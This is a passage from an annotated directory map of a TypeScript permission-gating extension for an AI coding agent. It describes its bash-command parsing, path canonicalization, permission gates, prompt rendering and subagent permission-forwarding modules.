`isAbsolute`/`resolveBase`/`joinBase` (flavor-aware `cd`-fold routing), `isWithinDirectory`/`isOutsideWorkingDirectory` (containment), `comparableValue` (lexical comparison for skill-prompt matching), `isInfrastructureRead`, and `forBashToken`/`interpretBashCdTarget`/`isBoundaryOutsideWorkingDirectory` (Git Bash/MSYS bash-token interpretation — safe devices preserved, `/c/…` drive mounts translated, other POSIX absolutes literal-only). Also owns `entryExists` (lstat), the existence probe deciding whether a bare bash token names a real filesystem entry, kept here so path interpretation has a single filesystem edge alongside canonicalization (ADR 0009). A facade over the `path/` and `access-intent/path-normalization` primitives; holds no platform discriminator — every platform question delegates to `flavor`, so no consumer reads `process.platform` or threads `cwd` -├── access-intent/ Access-intent domain: turns `(toolName, input)` into what is being accessed (bash decomposition, MCP targets, path extraction, the `AccessPath` value object and `AccessIntent` union) -│ ├── path-normalization.ts `AccessPath`'s representation backing: `normalizePathForComparison` (lexical absolute, via `flavor.comparable`), `canonicalNormalizePathForComparison` (symlink-resolved + win32-lowercased via `flavor.fold`), `normalizePathPolicyLiteral` (literal cleanup), `getPathPolicyValues` (lexical ∪ relative match set) + `PathPolicyValueOptions`; pure derivation over an injected `PathFlavor` -│ ├── access-intent.ts `AccessIntent` discriminated union each gate emits: `tool` (raw input the manager normalizes) and `access-path` (an `AccessPath` for every path gate — `path`, `external_directory`, and the per-tool path-bearing surfaces `read`/`write`/`edit`/`grep`/`find`/`ls`). Constraint: `ResolvedAccessIntent` (`tool | path-values`) is what the manager consumes after the resolver unwraps `access-path` via `matchValues()` — `path-values` is still not gate-emitted, keeping the manager string-based (the ADR 0002 boundary), but since #597 it has a second legitimate producer: the forwarded-serving wire builds a `path-values` intent directly from a `ForwardedAccessIntent`'s child-fixed `matchValues`, via `buildResolvedIntentFromMatchValues` (`input-normalizer.ts`) -│ ├── access-path.ts `AccessPath` value object: `matchValues(): string[]` (lexical alias union ∪ canonical, the match set), `boundaryValue(): string` (symlink-resolved + win32-lowercased), `value(): string` (lexical absolute display form), `resolvedAlias(): string | undefined` (the canonical form only when distinct, for disclosing a symlink target in a prompt/denial); `forPath(pathValue, { cwd, resolveBase?, flavor })` serves every path surface, `forLiteral(literal)` builds a literal-only path with no canonical for the unknown-base bash case, and `forDevice(devicePath)` preserves an MSYS device path verbatim. Type-distinct accessors make the lexical/canonical conflation a compile error -│ ├── tool-kind.ts `ToolKind` string-union + `classifyToolKind(toolName)` — the single dispatch point deciding what an invocation accesses (bash command / MCP target / skill / path-bearing tool / extension) once at the normalize boundary; imports only `PATH_BEARING_TOOLS` (AccessPath-free, so `permission-manager.ts` may consume it without breaching the ADR 0002 string boundary). Also owns `isMcpCheck({ toolName, source })`, the shared MCP-ness predicate the presentation consumers dispatch on -│ ├── input-normalizer.ts Surface-specific input normalization → NormalizedInput -│ ├── mcp-targets.ts MCP multi-name target derivation -│ ├── tool-input-path.ts `getToolInputPath` (built-in / MCP / extension path extraction) + `getPathBearingToolPath` (built-in-only) -│ ├── path-surfaces.ts Static surface/tool lookup sets: `PATH_BEARING_TOOLS`, `READ_ONLY_PATH_BEARING_TOOLS`, `PATH_SURFACES` -│ └── bash/ -│ ├── parser.ts Lazy tree-sitter-bash parser: `TSNode` interface (exported), `getParser = memoizeAsyncWithRetry(initParser)` (exported); `warmBashParser()` / `getWarmBashParser(): TSParser | null` / `resetWarmBashParser()` (test-only) expose the resolved parser synchronously after a `before_agent_start` warm-up so the advisory bash path can decompose at gate parity -│ ├── node-text.ts Quote-aware AST node-text resolver: `resolveNodeText` (pure), `SKIP_SUBTREE_TYPES` (node types whose *text* is never an argument — heredoc/comment), `ARG_NODE_TYPES` (argument-value node-type set); delegates expansion nodes to `shell-variable-expansion.ts`, falling back to the node's literal text -│ ├── nested-execution.ts Shared nested-execution vocabulary for both bash surfaces: `NESTED_EXECUTION_CONTEXTS` (substitution node type → `BashCommandContext`), `EXECUTION_HOST_TYPES` (node types that are not commands or argument values but whose subtree can host a command that really runs — redirects, heredoc/herestring bodies), and `forEachNestedExecution(node, visit)`, which searches strictly within a subtree and does not descend past a context it finds. Constraint: the command surface and the path surface must share one definition of a nested execution, or a command gated on one surface escapes the other (#741) -│ ├── shell-variable-expansion.ts Pure plain-reference resolver: `resolvePlainVariableExpansion(node): string | null` — `$HOME`/`${HOME}` → `os.homedir()`, `$PWD`/`${PWD}` → `.` (the base-relative marker, so the resolver's existing `resolveBase` applies it after `cd` folding). Plainness is structural (exactly one `variable_name` child, otherwise only delimiters), so an operator form (`${HOME:-/tmp}`, `${#HOME}`) is rejected without enumerating bash's expansion operators. Constraint: the resolvable set is closed at `HOME`/`PWD` — widening it is an ADR 0009 amendment, and the expansion vocabulary lives only here, never in the classifiers -│ ├── token-collection.ts Bash argument/flag tokenizer: `collectPathCandidateTokens`, `collectCommandTokens`, `collectRedirectTokens`, `extractCommandName` (exported); private `PATTERN_FIRST_COMMANDS` table and pattern/generic collectors, plus `collectEmbeddedOptionValues` — emits the inline value of an `--opt=value` argument as its own token, read from the argument nodes (a pattern-first collector classifies a flag and never emits it), so an option-embedded path is classified by the ordinary shape rules without per-command option tables (#645). Also projects the operands of a command hosted in a redirect destination or an interpolating heredoc body; the `EXECUTION_HOST_TYPES` dispatch sits above the `SKIP_SUBTREE_TYPES` check because `heredoc_body` is in both sets and the host reading must win — its prose stays out of the path surface while its substitution's operands enter it (#741) -│ ├── command-enumeration.ts Bash command enumerator: `collectCommands` (exported) + the descend/skip tables and the node→`CommandWord` adapter; owns the `BashCommand` interface including the `wrapperKind` discriminant and the display-only `executedUnit`; strips leading `variable_assignment` prefixes from command units. Constraint: `COMMAND_ENUM_SKIP` holds only genuinely inert types (`comment`, `heredoc_end`) — a node that is not a command but can host one belongs in `EXECUTION_HOST_TYPES`, and conflating the two questions is the bypass #741 fixed -│ ├── wrapper-analysis.ts Pure word-based wrapper interpretation: `classifyWrapperWords` (the `WrapperKind` discriminant — `"opaque-payload"` for `bash -c`/`eval`, `"indirection"` for sudo/env/xargs/find -exec/…) and `executedUnitOf` (the command a wrapper actually runs), over the shared wrapper vocabulary. Constraint: both answers read one vocabulary — the shape that floors a unit to `ask` and the shape that names its inner command cannot drift. `executedUnitOf` is display-only and fails to `null` rather than to a guess, so it never weakens a gate -│ ├── bash-path-resolver.ts `BashPathResolver` class (constructed with a `PathNormalizer` and an optional `workdir`): `resolve(rootNode): ResolvedBashPaths` walks the AST once, tagging each path-candidate token with the `EffectiveBase` in force at its position, and returns `{ externalPaths: AccessPath[], ruleCandidates: BashPathRuleCandidate[] }`; routes every path through the injected `PathNormalizer`. Both projections fall back to the shared `probeBareToken` for a token the shape gates reject, admitting it only when `normalizer.entryExists` confirms it names a real entry and the effective base is known; `projectRuleCandidates` passes `this.normalizer.flavor` so a win32 backslash-relative token is recognized like its `/` form; `projectExternalPaths` decides outside-cwd from the `AccessPath`'s canonical boundary via `collectIfExternal`, treating a literal-only bash token as unconditionally external. Constraint: consults no ruleset — candidacy is a filesystem question and the decision belongs to the gates (ADR 0009). The subtlest region in the package -│ ├── msys-bash-tokens.ts Pure win32 bash-token shape classifier: `classifyWin32BashToken(token): BashTokenShape` (`device` | `drive-mount` with translated `windowsPath` | `posix-absolute` | `plain`); no filesystem, no `process.platform` read; the return type of `PathFlavor.bashTokenShape`, consumed by `PathNormalizer.forBashToken`/`interpretBashCdTarget` -│ ├── token-classification.ts Pure token classifiers: `classifyTokenAsPathCandidate` (strict: `/`, `~/`, `..`, Windows drive-letter), `classifyTokenAsRuleCandidate(token, flavor)` (broader: also dot-files, relative paths, the drive-letter backslash form, and — under the win32 flavor — a backslash-relative token), and `classifyBareTokenCandidate(token)` (prelude-only: returns any token whose shape does not rule out a path, for the resolver to probe). Constraint: policy-free — no classifier consults the ruleset (ADR 0009) -│ ├── sync-commands.ts `parseBashCommandsSync(command): BashCommand[] | null` — warm-parser-backed synchronous command enumeration; returns `null` in the pre-warm window so the advisory bash path falls back to whole-string matching -│ └── program.ts Born-ready `BashProgram` value object: `parse(command, normalizer, options?)` eagerly resolves all three slices at construction; parameter-free getters `commands()`, `externalPaths(): AccessPath[]`, `pathRuleCandidates()`. `commands()` splits the chain AND descends into command/process substitutions and subshells — wherever they appear, including a redirect destination and an interpolating heredoc body (#741) — tagging each nested command with its execution `context`, stripping any leading `variable_assignment` prefix, and flagging wrapper units with a `wrapperKind` so their decision floors to `ask` -├── handlers/ Handler classes with narrow constructor injection -│ ├── index.ts Barrel re-exports -│ ├── lifecycle.ts SessionLifecycleHandler (session: `PermissionSession` + resolver + serviceLifecycle + audit); writes the decision-audit summary on `session_shutdown` -│ ├── before-agent-start.ts AgentPrepHandler (session + resolver + toolRegistry + `warmParser: () => void`); shouldExposeTool pure helper; recomputes the active set + system-prompt override every fire; fire-and-forget `warmParser()` triggers the tree-sitter warm-up -│ ├── permission-gate-handler.ts PermissionGateHandler (session + toolRegistry + pipeline + skillInputPipeline + runner); `handleToolCall` returns the internal total `GateOutcome`; validateRequestedTool + getEventInput + extractSkillNameFromInput pure helpers -│ ├── tool-call-boundary.ts `createFailClosedToolCall(gate, reporter, audit, tracer)` - the only `pi.on("tool_call")` target and sole `GateOutcome` → SDK-shape translator; owns the `try/catch → block` (the SDK's `emitToolCall` does not catch a throwing handler), writes a `gate_error` review entry on throw with its own minted request id (the throw may come from anywhere in the pipeline, so no gate's id is available) via a helper that swallows so the block stays unconditional, and emits a `debugLog`-gated `permission.decision` trace per call -│ └── gates/ Pure descriptor factories + runner -│ ├── types.ts GateOutcome, ToolCallContext -│ ├── descriptor.ts GateDescriptor (carrying the `PromptPayload` as its single presentation fact), GateBypass, GateResult types, plus `DecisionEventFacts` (a decision event minus the `requestId` only the runner can supply — the type that routes every emit through the runner's stamping site). Constraint: `promptDetails` omits both `requestId` and `payload`, which the runner stamps, so a gate cannot supply either twice -│ ├── runner.ts GateRunner class — constructed with `ScopedPermissionResolver`, `SessionApprovalRecorder`, `AskEscalator` (the single-method ask-escalation seam), `DecisionReporter`, plus a live `isYoloEnabled` reader (read per gate; the sole place a post-resolution ask is reconciled with yolo); `run(gate, agentName)` dispatches null / bypass / descriptor and mints the request id before the branch, so a request that never prompts is identified exactly as one that does; its private `emitDecision` is the sole site stamping that id onto a `DecisionEventFacts` -│ ├── tool-call-gate-pipeline.ts `ToolCallGateInputs` interface (`getActiveSkillEntries`, `getInfrastructureReadDirs`, `getToolPreviewLimits`, `getPathNormalizer`, `getShellToolAliases`) + `ToolCallGatePipeline` class — constructed with `ScopedPermissionResolver` + `ToolCallGateInputs`; owns bash-command extraction + the single `BashProgram.parse`, `ToolPreviewFormatter` construction, the infra-dir list, the six gate producers, and the run loop; `evaluate(tcc, runner)` returns the first block outcome or allow -│ ├── skill-input-gate-pipeline.ts `SkillInputGateInputs` + `GateNotifier` interfaces + `SkillInputGatePipeline` class — owns the raw `checkPermission` pre-check, deny notify, `describeSkillInputGate` descriptor, and `runner.run`; `evaluate(skillName, agentName, notifier, runner)` makes the `input` path symmetric with the `tool_call` path -│ ├── helpers.ts deriveDecisionValue, deriveResolution, buildDecisionEvent, resolveYoloGrant (the standing yolo grant covering a resolved check — a ruleset-rewritten allow or, under yolo, a residual ask) -│ ├── skill-read.ts describeSkillReadGate - pure descriptor factory -│ ├── skill-input.ts describeSkillInputGate - pure descriptor factory; takes a pre-computed check result so the runner reuses the caller's check -│ ├── external-directory.ts describeExternalDirectoryGate - pure descriptor/bypass factory; builds an `AccessPath`, delegates policy resolution to `resolveExternalDirectoryPolicy`, uses `accessPath.boundaryValue()` for the outside-CWD boundary and infra-read checks, and discloses `accessPath.resolvedAlias()` when it names a location distinct from the typed path -│ ├── external-directory-policy.ts Shared external-directory policy check for both gates: `resolveExternalDirectoryPolicy(path, resolver, agentName)` emits an `access-path` `AccessIntent` on the `external_directory` surface; `selectUncoveredExternalPaths(paths, resolver, agentName)` resolves a set, keeps the not-allowed entries, and selects the worst via `pickMostRestrictive` -│ ├── bash-external-directory.ts describeBashExternalDirectoryGate - pure descriptor/bypass factory over the injected `BashProgram` (`externalPaths()`); delegates the per-path alias matching and worst-uncovered selection to `selectUncoveredExternalPaths` -│ ├── bash-path.ts describeBashPathGate - pure descriptor/bypass factory for bash path rules over the injected `BashProgram` (`pathRuleCandidates()`); evaluates each candidate's `AccessPath` via an `access-path` `AccessIntent` and selects the worst uncovered token via `pickMostRestrictive`, keeping the raw token for prompts/logs/approvals and `path.value()` for the approval pattern -│ ├── candidate-check.ts `pickMostRestrictive` - pure deny > ask > allow selection over PermissionCheckResults (first-wins on ties); shared by the bash gates and the external-directory policy helper -│ ├── bash-path-extractor.ts Thin facade (`extractExternalPathsFromBashCommand`) over `BashProgram` -│ ├── bash-command.ts `resolveBashCommandCheck` - pure combiner over caller-supplied `BashCommand[]` units, checks each unit on the `bash` surface, tags the winning result with the offending command's execution `context`, selects via `pickMostRestrictive`; when empty, resolves the whole command only for a trivially-empty command and otherwise returns an explicit `deny` covering it, else fails closed to a synthetic `ask` with the `` sentinel -│ ├── path.ts describePathGate - pure descriptor factory for cross-cutting path rules; builds an `AccessPath` and emits an `access-path` `AccessIntent` on the `path` surface so it matches the canonical (symlink-resolved) form like `external_directory` -│ ├── tool.ts describeToolGate - pure descriptor factory for the per-tool gate; for path-bearing built-in tools the pipeline builds an `AccessPath` and emits an `access-path` intent on the tool-name surface so per-tool rules match lexical ∪ canonical, and the session-approval value derives from `accessPath.value()`; bash/MCP/extension tools keep the raw `tool` intent -│ └── index.ts Barrel re-exports -│ -├── index.ts Extension factory - event wiring, collaborator construction (established injection-bag wiring kept inline per the anti-procedure-splitting rule) -├── bash-advisory-check.ts `resolveBashAdvisoryCheck(command, agentName, resolver)` — routes an advisory `bash` query through the gate's shared `resolveBashCommandCheck` over `parseBashCommandsSync` units, falling back to a whole-string `tool` intent in the pre-warm window; kept out of `access-intent/` to avoid a domain→handler import -├── permissions-service.ts `LocalPermissionsService` class - in-process implementation of `PermissionsService`; injected with narrow collaborator interfaces (a `resolve` + `getToolPermission` resolver view, a `getPathNormalizer` session view, the formatter/access-extractor/authorizer registrars); routes path-surface queries through the resolver as an `access-path` intent so external policy queries match lexical ∪ canonical like the gates, and bash queries through `resolveBashAdvisoryCheck` for decomposed fidelity -├── service-lifecycle.ts `ServiceLifecycle` interface + `PermissionServiceLifecycle` class — owns the process-global service publish (child-gated), ready emit, and session teardown ordering -├── service.ts PermissionsService interface, Symbol.for() accessor (cross-extension API); public surface published as a self-contained dist/public.d.ts bundle -├── permission-events.ts Event channel constants, payload types, emit helpers. `PermissionUiPromptEvent` carries the payload's `request` core alongside the flat `surface`/`value` display projection — the gate surface and the display surface are two facts, not one (#292) -├── permission-request-id.ts `createPermissionRequestId()` — the one mint for a permission request's `perm-` id; distinct from the host's `toolCallId`, which stays alongside it as the join back to the Pi transcript -├── permission-ui-prompt.ts Centralized construction for `permissions:ui_prompt` event payloads - `buildUiPrompt` is the single builder for direct and forwarded asks, keeping the emitted contract shape in one place. It projects the prompt payload's `request` core onto the event and nothing else: the bus is the narrowest renderer, so no evidence reaches it (ADR 0011 §6) -├── config-store.ts `ConfigStore` class — owns `config` + `lastConfigWarning`; `ConfigReader`, `SessionConfigStore`, `CommandConfigStore` narrow interfaces -├── config-loader.ts File I/O, format detection, strict zod validation (fail-closed) for config files -├── config-schema.ts Zod schemas - single source of truth for the config shape; derives the JSON Schema (buildPermissionsJsonSchema) and the config types -├── config-paths.ts Path derivation -├── extension-paths.ts `ExtensionPaths` value object - immutable path constants derived from `agentDir` (and optional Pi `getPackageDir()`) at startup (`computeExtensionPaths`) -├── config-reporter.ts Structured log entries for resolved config -├── config-modal.ts /permission-system slash command UI -├── extension-config.ts Runtime knobs (debugLog, yoloMode, etc.) -│ -├── permission-merge.ts Deep-shallow merge for flat permission configs -├── async-cache.ts `memoizeAsyncWithRetry` - memoizes an async factory but drops a rejected result so the next call retries; used by `access-intent/bash/parser.ts` for resilient tree-sitter parser init -├── safe-system-paths.ts `SAFE_SYSTEM_PATHS` (OS device files: `/dev/null`, `/dev/std{in,out,err}`) + `isSafeSystemPath` -├── path/ Path-language domain: the win32-vs-POSIX decision resolved once, plus the co-rewritten path leaves -│ ├── path-flavor.ts `PathFlavor` interface + `pathFlavorForPlatform` factory + `win32PathFlavor`/`posixPathFlavor` singletons — the platform's path *language* as one immutable collaborator (`impl`, `matchOptions`, `fold`, `comparable`, `isWithin`, `hasPathSeparator`, `bashTokenShape`). Constraint: holds the package's only `=== "win32"` comparison; injected once from `index.ts` into `PermissionManager` / `PermissionSession` (→ `PathNormalizer`) / `SubagentDetection` -│ ├── canonicalize-path.ts Best-effort symlink resolution via `realpathSync` — walks up to longest existing ancestor and re-appends non-existent tail; ENOENT/ENOTDIR safe, EACCES/ELOOP fall back to lexical form; takes an injected `PathFlavor` -│ ├── path-containment.ts Pure path geometry over already-canonical operands: `isPathOutsideWorkingDirectory` (excludes safe system paths, then defers containment to `PathFlavor.isWithin`; no derivation, no filesystem) -│ └── pi-infrastructure-read.ts `isPiInfrastructureRead` - read-only-tool auto-allow within infra dirs / project-local `.pi/{npm,git}`; takes an already-canonical path + injected `PathFlavor` -├── node-modules-discovery.ts Global node_modules resolution (walk-up + npm root -g fallback) -├── system-prompt-sanitizer.ts Narrow Available tools section + filter guidelines to the active set -├── skill-prompt-sanitizer.ts Skill prompt filtering by policy -├── permission-prompts.ts Agent-facing pre-check reasons (missing tool name, unknown tool) refused before any permission check runs -├── presentation/ Prompt presentation: the payload a gate emits, and the renders over it (ADR 0011) -│ ├── prompt-payload.ts `PromptPayload` (the `kind` discriminant, the `request` invariant core, the complete `evidence` list, the `annotations` slot) + `localRequester`/`findEvidence`/`allEvidence` + `asPromptPayload`, the all-or-nothing tolerant guard the forwarded wire's reader narrows through. Constraint: the payload is complete by contract — it never truncates and never decides what a human sees, so elision is a property of a render (ADR 0011 §2). The guard lives beside its type so a new request fact updates it next door rather than in a distant reader -│ ├── tool-ask-payload.ts `buildToolAskPayload` — the bash, MCP, and generic-tool asks; carries the invoked tool name when a shell alias re-exposes bash (#574) and the wrapper's executed unit (#713) -│ ├── path-ask-payload.ts `buildPathAskPayload`, `buildExternalDirectoryAskPayload`, `buildBashExternalDirectoryAskPayload` — each escaping path carries its canonical alias as that evidence entry's `detail`, so a bounded render cannot show a path while eliding what it resolves to -│ ├── skill-ask-payload.ts `buildSkillAskPayload`, `buildSkillPathAskPayload` — the skill is the decision-relevant value (it is what the policy names); a skill read carries the path it was reached through as evidence -│ ├── forwarded-ask-payload.ts `buildForwardedAskPayload` — a two-branch projection, not a synthesizer: the child's own payload with only `requester` re-stamped to the request's authoritative provenance, or a degraded `kind: "forwarded"` render built from the display fields a payload-less request does carry. Constraint: the serving node is the only party that knows the ask arrived over the wire, so it re-stamps the requester and passes every other child fact through untouched -│ ├── dialog-renderer.ts `renderPromptDialog(payload, budget, paint)` — the bounded render for the inline dialog and the `select`/`input` fallback: aligned one-fact-per-line layout, a per-field width cap, a row budget over the evidence, and whole-token highlighting of the flagged element. Also `RenderBudget`/`DEFAULT_RENDER_BUDGET`/`resolveRenderBudget` (the configured budget) and `completeViewBudget` (the complete view). Constraint: the row budget bounds evidence and the field cap bounds the core — a core fact is shortened, never dropped (ADR 0011 §3 over §5) -│ ├── line-fitting.ts `fitLinesToWidth` — wrap-then-truncate to a terminal width, so each line is one visual row; shared by the `ctx.ui.custom` dialog, whose contract requires it, and by the renderer, which cannot count rows before wrapping -│ ├── fact-vocabulary.ts `flaggedElements`/`flaggedElementLabel`/`valueLabel`/`describeBashCommandContext` — the render vocabulary shared by every renderer over a payload: which element an ask flags, what it is called, and how a nested execution context reads. Owned by no renderer, so the dialog, the agent text, and the review log cannot disagree about what an ask is flagging -│ ├── agent-renderer.ts `EXTENSION_TAG` + `renderPolicyDenial`/`renderUserDenial`/`renderUnavailableDenial` — the agent-facing render of a refused ask. Constraint: it identifies the call and never reproduces it (ADR 0011 §7) — the bash command is never rendered, and the flagged path/target/skill is capped -│ └── review-log-renderer.ts `renderReviewLogFacts(payload)` — the request facts the review log persists (ADR 0011 §6), and no evidence or annotations. Constraint: exposure does not grow — evidence is the unbounded part `docs/decisions/0010-permission-log-secret-exposure.md` bounds -├── tool-input-preview.ts Pure tool-input text utilities (truncation, line counting, count formatting), serialization + default constants; `serializeToolInputPreview` (prompt, unredacted) and `serializeRedactedToolInputPreview` (log) are separate entry points because the input is flattened to a string before the writer sees its keys -├── tool-input-prompt-formatters.ts Pure per-tool prompt formatters (edit/write/read) + getPromptPath helper -├── tool-preview-formatter.ts ToolPreviewFormatter class - config-dependent prompt + log formatting; seam-first dispatch consults ToolInputFormatterLookup before built-in switch -├── tool-input-formatter-registry.ts ToolInputFormatter type, ToolInputFormatterLookup + ToolInputFormatterRegistrar interfaces, ToolInputFormatterRegistry class - persistent registry for custom previews -├── tool-access-extractor-registry.ts ToolAccessExtractor type, ToolAccessExtractorLookup + ToolAccessExtractorRegistrar interfaces, ToolAccessExtractorRegistry class - persistent registry letting extensions declare a tool's filesystem path for the path/external_directory gates -├── builtin-tool-input-formatters.ts Built-in formatters registered at startup: formatMcpInputForPrompt keyed to "mcp" -├── tool-registry.ts ToolRegistry interface + tool name validation -├── active-agent.ts Agent name detection from session/system prompt -├── authority/ Subagent detection, the Authorizer spine, and forwarded-permission escalation -│ ├── authorizer.ts `Authorizer` (non-terminal chain link, `authorize(details, query, log): Promise` - handed a session-scoped `PermissionQuery` and an `AuthorizerLog` review-log seam per ADR 0007 §3) + `TerminalAuthorizer` (terminal, `authorize(details): Promise` - cannot defer, enforced type-level) + `AuthorizerVerdict` (`allow | deny | defer`) + `SelectedAuthority` (`{ terminal, adjudicatesLocally }`) + `AuthorizerSelectionDeps` + `selectAuthorizer(ctx, deps): SelectedAuthority` - the once-per-activation hasUI/isSubagent/deny dispatch, returning the chain role that dispatch implies (`adjudicatesLocally: false` only for the relaying `ParentAuthorizer` arm, ADR 0007 §7) -│ ├── authorizer-chain.ts `composeAuthorizerChain(links, terminal, query, log)` - folds non-terminal `NamedAuthorizer` links ahead of the context-selected terminal (`defer` → next link, `allow`/`deny` → decision stamped `decidedBy: {kind: "authorizer", name, verdict, reason}` at the point the loop breaks, so a link that deferred is not credited), injecting `query` and the review-log `log` into each link; zero links returns the terminal instance (identity) -│ ├── decision-source.ts `DecisionSource` discriminated union (`user | authorizer | rule | session_approval | yolo | infrastructure_read | unavailable | gate_error | forwarded`) + depth-bounded tolerant guard `asDecisionSource`. Constraint: each variant is self-contained (it repeats its own surface/pattern/origin/name/reason) because the forwarded response file carries no such columns to lean on; the recursive `forwarded` variant is read off disk, so its guard is depth-bounded and rejects an over-deep chain whole rather than truncating it -│ ├── authorizer-registry.ts `AuthorizerRegistry` (+ `AuthorizerLookup`/`AuthorizerRegistrar` ISP interfaces) - name → link `authorize` map mirroring `ToolAccessExtractorRegistry`; one instance in `index.ts`, exposed cross-extension via `PermissionsService.registerAuthorizer`; throw-on-duplicate, identity-guarded disposer -│ ├── delegation-envelope.ts `encloseInDelegationEnvelope(authorize)` + `DELEGATION_EXCLUDED_SURFACES` - the bounded-delegation checkpoint (ADR 0007 §5): caps a link's `allow` on `path`, undetermined surfaces, and `external_directory` except for built-in read-only path tools (`read`, `find`, `grep`, `ls`); deny/defer pass through -│ ├── local-user-authorizer.ts `LocalUserAuthorizer` class - `TerminalAuthorizer` for a session with UI and the single `permissions:ui_prompt` emit site: renders a forwarded ask's provenance as a non-degraded broadcast + `(Subagent)` title, then dispatches to the inline keybind dialog (TUI) or the `select`/`input` fallback -│ ├── permission-dialog.ts Dialog option semantics + `requestPermissionDecisionFromUi` (`select`/`input` fallback) + `PermissionPromptDecision` (whose `decidedBy` is required) and `UnattributedDecision` (the same minus it); the mode dispatch lives in `permission-prompt-component.ts` -│ ├── permission-prompt-decision.ts Pure decision model (`reducePrompt` + `PromptModelConfig`/`PromptViewState`) for the inline keybind dialog - hotkey arming (double-press), step transitions, reason validation; no SDK/TUI imports -│ ├── permission-prompt-component.ts Inline `ctx.ui.custom` keybind dialog (TUI) driven by the decision model + the `requestPermissionDecision` mode dispatcher (tui → inline, else fallback); the reason step delegates to the pi-tui `Input` line editor (rebuilt per visit, so a backed-out draft cannot be undone back into a later ask) and forwards Pi's `app.tools.expand` action in the decision/scope steps only, never during reason entry. Constraint: the dispatcher is the one place a human surface is chosen, so it is where the decision is attributed (`decidedBy: {kind: "user", via}`) - the dialog model and the fallback each naming themselves would be two sites that must agree with its branch -│ ├── bracketed-paste.ts `collapsePastedNewlines(data)` - rewrites the content between a chunk's `\x1b[200~`/`\x1b[201~` markers so each newline run becomes one space, keeping a multi-line paste readable in the single-line reason field (the line editor deletes newlines outright, joining the words across a break); markers preserved, anything that is not a complete paste chunk returned unchanged -│ ├── denying-authorizer.ts `DenyingAuthorizer` class - least-privilege `TerminalAuthorizer` for a session with no reachable authority; denies with the `confirmationUnavailable` marker so the ask path derives the `confirmation_unavailable` resolution, attributed `decidedBy: {kind: "unavailable"}` -│ ├── authorizer-selection.ts `AuthorizerSelection` class - context-owning `AskEscalator` implementation (`escalate(details)`); selects the authority once per activation, and per ask resolves the `authorizerChain` config to registered links (config order; unregistered names skipped fail-safe with an `authorizer_chain_unregistered_link` review event; consulted names recorded as `authorizer_chain_resolved`; each wrapped in the delegation envelope), composes them via `composeAuthorizerChain`, and delegates via `PermissionPrompter`; a relaying node resolves none and records `authorizer_chain_delegated` instead (one chain per node, ADR 0007 §7) -│ ├── permission-prompter.ts `PermissionPrompter` class (`PermissionPrompterApi`) - review-log bracketing (waiting → approved/denied) around `authorizer.authorize(details)`, recording the decision's `decidedBy` on the outcome entries only (the waiting entry has no decider yet); `PromptPermissionDetails` type (carries the child-fixed `accessIntent` facts a forwarded ask relays) -│ ├── subagent-detection.ts SubagentDetection class - single owner of subagent detection (SubagentDetector.isSubagent + RegisteredChildDetector.isRegisteredChild); delegates to subagent-context -│ ├── subagent-context.ts Pure subagent execution context detection (registry + env vars + filesystem) -│ ├── subagent-registry.ts SubagentSessionRegistry class + getSubagentSessionRegistry() process-global accessor - in-process subagent session tracking -│ ├── serving-registry.ts ServingSessionRegistry class + getServingSessionRegistry() process-global accessor, split into the `ServingAnnouncer` (poller) and `ServingLookup` (forwarding child) seams - which in-process sessions are draining a forwarded-permission inbox; `composeServingAnnouncers` fans one announcement across every channel a serving session publishes on -│ ├── forwarding-liveness.ts The filesystem half of the same question, for a child that shares no memory with its parent: `ServingHeartbeatStore` (a `ServingAnnouncer` publishing `/serving/.json` with the served session, its pid, and its refresh time; throttled, never throws, and sweeps records of dead processes once per session) + `HeartbeatReader` classifying a target as alive/absent/stale/dead_pid + `ForwardingLivenessJudge` (`TargetServingLookup`), which routes a liveness question to the channel that can answer it by the target's `self`/`registry`/`env` provenance. Constraint: the records live beside `sessions/`, never inside it, so liveness stays disjoint from the request/response cleanup ordering (#398) -│ ├── subagent-lifecycle-events.ts subscribeSubagentLifecycle() - subscribes to @gotgenes/pi-subagents child lifecycle events; registers/unregisters child sessions in SubagentSessionRegistry (ADR 0002) -│ ├── forwarder-context.ts `ForwarderContext` read-interface + `getSessionId`/`getCwd` - shared by the escalation and serving roles -│ ├── permission-forwarding.ts Cross-session forwarding wire types (`ForwardedPermissionRequest`, which carries the child's `PromptPayload` rather than a sentence assembled under the child's config; `ForwardedPermissionResponse`, whose optional `decidedBy` names what decided inside the responding session, distinct from the `responderSessionId` that names where; the `ForwardedAccessFacts`/`ForwardedAccessIntent` intent schema per ADR 0008) + `resolvePermissionForwardingTarget`, which returns the resolved session id together with its `self`/`registry`/`env` provenance (the routing key for which liveness channel may judge the target) + `encodeSessionIdForPath`, shared by both session-keyed layouts under the forwarding root -│ ├── approval-escalator.ts `ParentAuthorizer` class - `TerminalAuthorizer` for a subagent session: escalates the ask up the tree via the request-write/poll machinery, completing the child-fixed facts into a `ForwardedAccessIntent` (stamps `requesterCwd`/`principal`), `ctx` bound at construction; adopts the requester's `requestId` as the forwarded request's `id` (falling back to a fresh mint when it could not safely name a file — at a relay hop that id came off disk); every abandonment path (unresolvable target, unusable directories, unwritable request, unserved target, unreadable response, timeout) denies with `confirmationUnavailable` plus a path-naming `denialReason` — reused verbatim as the `unavailable` decider's reason so the two cannot drift — and discards the request so a late answer cannot arrive; an answered request's decision is nested under a `forwarded` decider carrying the responder's own -│ ├── forwarded-request-server.ts `ForwardedRequestServer` class (`InboxProcessor`) - serving-down role: `processInbox()` drains forwarded requests and resolves each like a local action - `ServingPolicy` (recorded authority) then `AskEscalator` on `ask`; `ServingPolicy.resolve(intent: ForwardedAccessIntent)` is intent-shaped (agent-scoped to `principal.agentName`, child-fixed `matchValues` used as-is, never re-derived through this session's `PathNormalizer`/cwd), floors to `ask` when `accessIntent` is absent (version skew); projects the request's access facts onto the escalated ask (`surface`/`matchValues`/`boundaryValue` only — `requesterCwd`/`principal` stay off the ask details, and the bounded-delegation checkpoint's exclusion reads the projected gate surface, #635); writes its decider onto the response (its own matched rule in full, the escalated decision's source, or a `gate_error` when the escalation itself threw), and the grant-scope translation rewrites the scope but never the decider; one-hop canary -│ ├── forwarding-io.ts Forwarding filesystem helpers - request/response read-write (tolerant read of the optional `accessIntent` and `decidedBy` fields; an unusable decider is dropped without rejecting the decision it accompanies), location derivation, atomic JSON writes (owner-only; `rename` preserves the temp file's mode). Constraint: the readers rebuild an allowlist of known fields, so a wire field added without being listed here is silently dropped -│ └── forwarding-manager.ts `ForwardingController` interface + `ForwardingManager` class - drives the forwarded-permission inbox polling lifecycle; tells `ForwardedRequestServer.processInbox`, and publishes the polled session id to the `ServingAnnouncer` plus a `forwarded_permission.serving_started`/`serving_stopped` review entry. Constraint: the 